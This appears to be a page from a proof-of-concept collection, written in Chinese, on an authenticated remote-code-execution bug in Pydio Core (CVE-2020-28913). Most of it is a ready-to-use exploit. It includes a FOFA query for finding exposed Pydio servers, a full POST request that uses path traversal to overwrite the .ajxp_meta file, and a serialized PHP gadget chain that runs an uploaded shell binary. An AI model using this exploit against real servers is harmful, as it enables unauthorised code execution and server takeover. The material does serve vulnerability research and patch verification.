Skip to content

Latest commit

 

History

History
46 lines (31 loc) · 1.97 KB

Pydio 网盘系统 RCE (CVE-2020-28913).md

File metadata and controls

46 lines (31 loc) · 1.97 KB

Pydio 网盘系统 RCE (CVE-2020-28913)

Pydio(以前称为AjaXplorer)是用于远程管理和共享文件的开源Web应用程序。

通过发送带有代码中使用的特殊HTTP变量但未在Web UI中公开的文件复制请求,攻击者可以覆盖.ajxp_meta文件。该.ajxp_meta文件写入到用户的目录序列化的PHP对象,当Pydio大概需要已存储的文件信息被反序列化。

PS:需要登录

影响版本:Pydio Core <= 8.2.5

FOFA:

title="Pydio" || icon_hash="-1115903764"

PoC:

POST /pydio/index.php? HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/pydio/ws-my-files/
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://example.com
Content-Length: 124
Connection: close
Cookie: AjaXplorer=ak7jio5pphe6onko1gcofj05k4

get_action=copy&targetBaseName=../.ajxp_meta&dir=%2F&nodes[]=%2Fpayload&dest=%2F&secure_token=sG9TmYIkNsWTEEx5p5qLCHJcty0MfyQ3

以下PHP对象小工具将尝试运行已上传到用户目录的二进制文件shell.elf。通过将绝对路径传递到我们上传的shell二进制文件,我们确实对服务器上的路径进行了假设。在测试过程中,小工具中的位置是默认位置,没有特殊的Pydio配置。

O:26:"GuzzleHttp\Stream\FnStream":1:{s:9:"_fn_close";a:2:{i:0;O:10:"Securimage":7:{s:13:"wordlist_file";s:62:"/usr/share/pydio/core/vendor/dapphp/securimage/words/words.txt";s:12:"captcha_type";i:2;s:13:"audio_use_sox";b:1;s:15:"sox_binary_path";s:56:"/var/lib/pydio/personal/atredis/shell.elf";s:13:"database_file";s:47:"/var/lib/pydio/personal/atredis/fdsa.db";s:12:"use_database";b:1;s:9:"namespace";s:4:"fdsa";}i:1;s:15:"outputAudioFile";}}

ref:https://www.atredis.com/blog/2020/11/12/authenticated-rce-in-pydio-forever-day